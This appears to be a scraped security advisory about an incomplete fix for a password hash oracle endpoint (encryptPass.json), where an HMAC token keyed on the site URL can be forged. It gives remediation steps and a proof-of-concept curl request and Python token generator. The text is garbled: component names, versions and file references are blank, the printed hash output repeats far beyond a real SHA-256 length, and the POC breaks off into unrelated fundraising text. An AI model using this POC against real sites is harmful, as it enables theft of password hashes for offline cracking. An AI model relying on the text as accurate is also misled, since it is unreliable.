GHSA-px7x-qg96-rmp5 Password Hash Oracle Vuln & Fix

Vulnerability Summary Vulnerability Overview Title: Incomplete fix for GHSA-px7x-qg96-rmp5 Severity: Medium (CVSS 5.3) Core Issue: uses the site URL ( ) as the HMAC key, allowing the password hash oracle to still be exploited by unauthenticated callers. Scope of Impact Affected Component: Affected Versions: From to Impact: - Unauthenticated callers can exploit the endpoint to retrieve password hashes, enabling offline brute-force attacks. - Attackers can exploit the endpoint by submitting an empty password to obtain the transformation of , narrowing the scope of offline attacks. - The vulnerability allows offline cracking of password hashes in any database. Remediation 1. Replace site URL with a pre-installed key as the HMAC key - Replace on line 33 of with 2. Bind the message to the request, not the clock - Include the parameter in the signed message to prevent replay attacks. 3. Remove the oracle rather than relying on gating - Remove the call on line 3573 of to close the endpoint. POC Code ```bash A. Request without token control $ curl -s -o /dev/null -w "HTTP:%{http_code}\n" "http://TARGET/objects/encryptPass.json?pass=SuperSecret123" HTTP 401 B. Compute token from site URL $ python3 -c " import hmac, hashlib, time key=b'http://TARGET' w=int(time.time())//3600 print(hmac.new(key, str(w).encode(), hashlib.sha256).hexdigest())" 5e8a23e8d0957e7f5d0c8cf3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d18

Goal Reached Thanks to every supporter — we hit 100%!

GHSA-px7x-qg96-rmp5 Password Hash Oracle Vuln & Fix

More from this source